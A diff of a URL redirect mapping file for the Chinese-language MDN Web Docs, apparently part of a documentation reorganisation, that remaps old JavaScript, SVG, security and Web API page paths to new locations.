/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce @@ -1922,14 +2385,15 @@ /zh-CN/docs/Web/JavaScript/Reference/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/Web/JavaScript/Reference/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/Web/JavaScript/Reference/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/Web/JavaScript/Reference/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/Web/JavaScript/Reference/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/Web/JavaScript/Reference/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/Web/JavaScript/Reference/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean +/zh-CN/docs/Web/JavaScript/Reference/Classes/Class_elements /zh-CN/docs/Web/JavaScript/Reference/Classes/Public_class_fields /zh-CN/docs/Web/JavaScript/Reference/Comments /zh-CN/docs/Web/JavaScript/Reference/Lexical_grammar#Comments /zh-CN/docs/Web/JavaScript/Reference/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate @@ -1945,6 +2409,7 @@ /zh-CN/docs/Web/JavaScript/Reference/Date/setTime /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/setTime /zh-CN/docs/Web/JavaScript/Reference/Date/toJSON /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON /zh-CN/docs/Web/JavaScript/Reference/Date/valueOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/valueOf +/zh-CN/docs/Web/JavaScript/Reference/Errors/不能添加属性 /zh-CN/docs/Web/JavaScript/Reference/Errors/Cant_assign_to_property /zh-CN/docs/Web/JavaScript/Reference/Function /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Function/apply /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/apply /zh-CN/docs/Web/JavaScript/Reference/Function/arity /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/arity @@ -1954,7 +2419,7 @@ /zh-CN/docs/Web/JavaScript/Reference/Function/isGenerator /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/isGenerator /zh-CN/docs/Web/JavaScript/Reference/Function/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/length /zh-CN/docs/Web/JavaScript/Reference/Function/name /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/name -/zh-CN/docs/Web/JavaScript/Reference/Function/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype +/zh-CN/docs/Web/JavaScript/Reference/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function /zh-CN/docs/Web/JavaScript/Reference/Function/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/toSource /zh-CN/docs/Web/JavaScript/Reference/Function/toString /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/toString /zh-CN/docs/Web/JavaScript/Reference/Functions_and_function_scope /zh-CN/docs/Web/JavaScript/Reference/Functions @@ -1970,14 +2435,29 @@ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flatten /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/flat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/index /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/of /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/input /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/copyWithin +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce()用法 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/ArrayBuffer /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ArrayBufferView /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypedArray +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/AsyncIterator /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncIterator +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Collator /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/Collator +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DataView/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/DataView +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat -/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DisplayNames /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DisplayNames +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Error/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Error +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/EvalError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/EvalError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Function +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ListFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/ListFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Locale /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/Locale +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Map +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/acosh +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Number /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/NumberFormat/format /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/NumberFormat/format /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create/About_JavaScript /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal @@ -2002,28 +2482,75 @@ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/lookupGetter /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__ /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions/About_this_Reference /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/PluralRules /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/PluralRules +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Promise +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/has /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/isExtensible /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/isExtensible +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/ownKeys /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/ownKeys +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/preventExtensions /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/preventExtensions +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/set +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/setPrototypeOf +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RangeError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RangeError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/ReferenceError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/比较_Reflect_和_Object_方法 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/Comparing_Reflect_and_Object_methods +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RelativeTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/String +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Symbol/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Symbol +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/SyntaxError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypeError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/TypeError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/TypedArray +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/URIError/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/URIError +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakMap +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction -/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype +/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/生成器函数/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/GeneratorFunction /zh-CN/docs/Web/JavaScript/Reference/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/Web/JavaScript/Reference/Methods_Index /zh-CN/docs/Web/JavaScript/Reference +/zh-CN/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators +/zh-CN/docs/Web/JavaScript/Reference/Operators/Assignment_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_8d54701de06af40a7c984517cbe87b3e +/zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_7c8eb9475d97a4a734c5991857698560 +/zh-CN/docs/Web/JavaScript/Reference/Operators/Comparison_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_310dc67549939233c3d18a8fa2cdbb23 +/zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/Web/JavaScript/Reference/Operators/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax +/zh-CN/docs/Web/JavaScript/Reference/Operators/async允许声明一个函数为一个包含异步操作的函数 /zh-CN/docs/Web/JavaScript/Reference/Operators/async_function +/zh-CN/docs/Web/JavaScript/Reference/Operators/取余 /zh-CN/docs/Web/JavaScript/Reference/Operators/Remainder +/zh-CN/docs/Web/JavaScript/Reference/Operators/可选链 /zh-CN/docs/Web/JavaScript/Reference/Operators/Optional_chaining /zh-CN/docs/Web/JavaScript/Reference/Operators/大于或等于 /zh-CN/docs/Web/JavaScript/Reference/Operators/Greater_than_or_equal +/zh-CN/docs/Web/JavaScript/Reference/Operators/按位与 /zh-CN/docs/Web/JavaScript/Reference/Operators/Bitwise_AND +/zh-CN/docs/Web/JavaScript/Reference/Operators/相加 /zh-CN/docs/Web/JavaScript/Reference/Operators/Addition +/zh-CN/docs/Web/JavaScript/Reference/Operators/相等 /zh-CN/docs/Web/JavaScript/Reference/Operators/Equality +/zh-CN/docs/Web/JavaScript/Reference/Operators/管道操作符 /zh-CN/docs/Web/JavaScript/Reference/Operators/Pipeline_operator /zh-CN/docs/Web/JavaScript/Reference/Operators/类 /zh-CN/docs/Web/JavaScript/Reference/Operators/class +/zh-CN/docs/Web/JavaScript/Reference/Operators/自减 /zh-CN/docs/Web/JavaScript/Reference/Operators/Decrement +/zh-CN/docs/Web/JavaScript/Reference/Operators/逻辑和 /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_AND /zh-CN/docs/Web/JavaScript/Reference/Properties_Index /zh-CN/docs/Web/JavaScript/Reference /zh-CN/docs/Web/JavaScript/Reference/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/Web/JavaScript/Reference/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/Web/JavaScript/Reference/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource +/zh-CN/docs/Web/JavaScript/Reference/Reserved_words /zh-CN/docs/conflicting/Web/JavaScript/Reference/Lexical_grammar /zh-CN/docs/Web/JavaScript/Reference/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax +/zh-CN/docs/Web/JavaScript/Reference/Statements/default /zh-CN/docs/conflicting/Web/JavaScript/Reference/Statements/switch /zh-CN/docs/Web/JavaScript/Reference/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/Web/JavaScript/Reference/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/Web/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/Web/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/Web/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/Web/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/Web/JavaScript/Reference/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/Web/JavaScript/Reference/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/Web/JavaScript/Reference/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -2042,33 +2569,72 @@ /zh-CN/docs/Web/JavaScript/Reference/default_parameters /zh-CN/docs/Web/JavaScript/Reference/Functions/default_parameters /zh-CN/docs/Web/JavaScript/Reference/eval /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/eval /zh-CN/docs/Web/JavaScript/Reference/rest_parameters /zh-CN/docs/Web/JavaScript/Reference/Functions/Rest_parameters +/zh-CN/docs/Web/JavaScript/Reference/template_strings /zh-CN/docs/Web/JavaScript/Reference/Template_literals /zh-CN/docs/Web/JavaScript/Reference/关于 /zh-CN/docs/Web/JavaScript/Reference/About /zh-CN/docs/Web/JavaScript/Same_origin_policy_for_JavaScript /zh-CN/docs/Web/Security/Same-origin_policy /zh-CN/docs/Web/JavaScript/Strict_mode /zh-CN/docs/Web/JavaScript/Reference/Strict_mode /zh-CN/docs/Web/JavaScript/Strict_mode/Transitioning_to_strict_mode /zh-CN/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode +/zh-CN/docs/Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation /zh-CN/docs/Web/JavaScript/The_performance_hazards_of_prototype_mutation +/zh-CN/docs/Web/JavaScript/javascript(起步) /zh-CN/docs/orphaned/Web/JavaScript/javascript(起步) /zh-CN/docs/Web/JavaScript/重新认识js /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript +/zh-CN/docs/Web/Localization /zh-CN/docs/orphaned/Web/Localization +/zh-CN/docs/Web/Media/Formats/视频编解码器 /zh-CN/docs/Web/Media/Formats/Video_codecs +/zh-CN/docs/Web/Performance/浏览器渲染页面的工作原理 /zh-CN/docs/Web/Performance/How_browsers_work +/zh-CN/docs/Web/Progressive_web_apps/Network_independent /zh-CN/docs/conflicting/Web/Progressive_web_apps_8afa7a63de0cecd1c19c3fdecf62f89f +/zh-CN/docs/Web/Progressive_web_apps/Re-engageable /zh-CN/docs/conflicting/Web/Progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67 +/zh-CN/docs/Web/Progressive_web_apps/Responsive /zh-CN/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks +/zh-CN/docs/Web/Progressive_web_apps/优势 /zh-CN/docs/conflicting/Web/Progressive_web_apps/Introduction +/zh-CN/docs/Web/Progressive_web_apps/加载 /zh-CN/docs/Web/Progressive_web_apps/Loading +/zh-CN/docs/Web/Progressive_web_apps/添加到主屏幕 /zh-CN/docs/Web/Progressive_web_apps/Add_to_home_screen +/zh-CN/docs/Web/SVG/Attribute/文本锚点 /zh-CN/docs/Web/SVG/Attribute/text-anchor +/zh-CN/docs/Web/SVG/Attribute/样式 /zh-CN/docs/Web/SVG/Attribute/Styling /zh-CN/docs/Web/SVG/Element/圆 /zh-CN/docs/Web/SVG/Element/circle /zh-CN/docs/Web/SVG/Element/多边形 /zh-CN/docs/Web/SVG/Element/polygon /zh-CN/docs/Web/SVG/Element/线性渐变 /zh-CN/docs/Web/SVG/Element/linearGradient /zh-CN/docs/Web/SVG/Firefox对SVG_1.1的支持 /zh-CN/docs/Web/SVG/SVG_1.1_Support_in_Firefox /zh-CN/docs/Web/SVG/Tutorial/渐变 /zh-CN/docs/Web/SVG/Tutorial/Gradients +/zh-CN/docs/Web/Security/CSP /zh-CN/docs/conflicting/Web/HTTP/CSP +/zh-CN/docs/Web/Security/CSP/Introducing_Content_Security_Policy /zh-CN/docs/conflicting/Web/HTTP/CSP_aeae68a149c6fbe64e541cbdcd6ed5c5 +/zh-CN/docs/Web/Security/CSP/Using_CSP_violation_reports /zh-CN/docs/conflicting/Web/HTTP/CSP_9583294484b49ac391995b392c2b1ae1 /zh-CN/docs/Web/Security/CSP/Using_Content_Security_Policy /zh-CN/docs/Web/HTTP/CSP +/zh-CN/docs/Web/Security/Information_Security_Basics /zh-CN/docs/orphaned/Web/Security/Information_Security_Basics +/zh-CN/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types /zh-CN/docs/Learn/Server-side/Configuring_server_MIME_types +/zh-CN/docs/Web/Security/传输层安全协议 /zh-CN/docs/Web/Security/Transport_Layer_Security +/zh-CN/docs/Web/Security/子资源完整性 /zh-CN/docs/Web/Security/Subresource_Integrity /zh-CN/docs/Web/WEB_API_---js /zh-CN/docs/Web/API /zh-CN/docs/Web/WebGL /zh-CN/docs/Web/API/WebGL_API /zh-CN/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/WebGL/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL /zh-CN/docs/Web/WebGL/用WebGL来画2D图形 /zh-CN/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context /zh-CN/docs/Web/Web_Components/Custom_Elements /zh-CN/docs/Web/Web_Components/Using_custom_elements +/zh-CN/docs/Web/Web_Components/HTML导入 /zh-CN/docs/Web/Web_Components/HTML_Imports +/zh-CN/docs/Web/Web_Components/Status_in_Firefox /zh-CN/docs/orphaned/Web/Web_Components/Status_in_Firefox +/zh-CN/docs/Web/Web_Components/影子_DOM /zh-CN/docs/conflicting/Web/Web_Components/Using_shadow_DOM +/zh-CN/docs/Web/XSLT/Elements /zh-CN/docs/Web/XSLT/Element +/zh-CN/docs/Web/媒体 /zh-CN/docs/Web/Media +/zh-CN/docs/Web/媒体/Autoplay_guide /zh-CN/docs/Web/Media/Autoplay_guide /zh-CN/docs/Web/性能 /zh-CN/docs/Web/Performance -/zh-CN/docs/WebAPI/Using_geolocation /zh-CN/docs/Web/API/Geolocation/Using_geolocation +/zh-CN/docs/Web/演示说明 /zh-CN/docs/Web/Demos_of_open_web_technologies +/zh-CN/docs/WebAPI /zh-CN/docs/conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3 +/zh-CN/docs/WebAPI/Using_geolocation /zh-CN/docs/Web/API/Geolocation_API /zh-CN/docs/WebAssembly/概念 /zh-CN/docs/WebAssembly/Concepts /zh-CN/docs/WebGL /zh-CN/docs/Web/API/WebGL_API /zh-CN/docs/WebGL/Getting_started_with_WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL /zh-CN/docs/WebGL/开始使用WebGL /zh-CN/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL +/zh-CN/docs/WebGuide/API/File_System /zh-CN/docs/conflicting/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/WebGuide/API/File_System/Introduction /zh-CN/docs/Web/API/File_and_Directory_Entries_API/Introduction +/zh-CN/docs/WebRTC /zh-CN/docs/conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0 /zh-CN/docs/WebRTC/navigator.getUserMedia /zh-CN/docs/Web/API/Navigator/getUserMedia -/zh-CN/docs/Web_Development/Mobile/自适应_设计 /zh-CN/docs/Web_Development/Mobile/responsive_design -/zh-CN/docs/Web_Development/Web开发介绍 /zh-CN/docs/Web_Development/Introduction_to_Web_development -/zh-CN/docs/XMLSerializer-840092-dup /zh-CN/docs/XMLSerializer +/zh-CN/docs/WebRTC/介绍 /zh-CN/docs/Web/API/WebRTC_API/Session_lifetime +/zh-CN/docs/Web_Development /zh-CN/docs/conflicting/Web/Guide +/zh-CN/docs/Web_Development/Introduction_to_Web_development /zh-CN/docs/Web/Guide/Introduction_to_Web_development +/zh-CN/docs/Web_Development/Mobile /zh-CN/docs/conflicting/Web/Guide/Mobile +/zh-CN/docs/Web_Development/Mobile/responsive_design /zh-CN/docs/conflicting/Web/Progressive_web_apps +/zh-CN/docs/Web_Development/Mobile/自适应_设计 /zh-CN/docs/conflicting/Web/Progressive_web_apps +/zh-CN/docs/Web_Development/Web开发介绍 /zh-CN/docs/Web/Guide/Introduction_to_Web_development +/zh-CN/docs/XHTML /zh-CN/docs/Glossary/XHTML +/zh-CN/docs/XMLSerializer /zh-CN/docs/Web/API/XMLSerializer +/zh-CN/docs/XMLSerializer-840092-dup /zh-CN/docs/Web/API/XMLSerializer /zh-CN/docs/XML_Introduction /zh-CN/docs/Web/XML/XML_Introduction /zh-CN/docs/XML_in_Mozilla /zh-CN/docs/Mozilla中的XML /zh-CN/docs/XML_介绍 /zh-CN/docs/Web/XML/XML_Introduction @@ -2076,22 +2642,41 @@ /zh-CN/docs/XPath/Axes /zh-CN/docs/Web/XPath/Axes /zh-CN/docs/XPath:Axes /zh-CN/docs/Web/XPath/Axes /zh-CN/docs/XSLT /zh-CN/docs/Web/XSLT -/zh-CN/docs/XSLT/Elements /zh-CN/docs/Web/XSLT/Elements -/zh-CN/docs/XSLT:Elements /zh-CN/docs/Web/XSLT/Elements +/zh-CN/docs/XSLT/Elements /zh-CN/docs/Web/XSLT/Element +/zh-CN/docs/XSLT:Elements /zh-CN/docs/Web/XSLT/Element /zh-CN/docs/XTech_2005_Presentations/Mozilla_RDF_引擎指导 /zh-CN/docs/XTech_2005_Presentations/Directions_of_the_Mozilla_RDF_engine 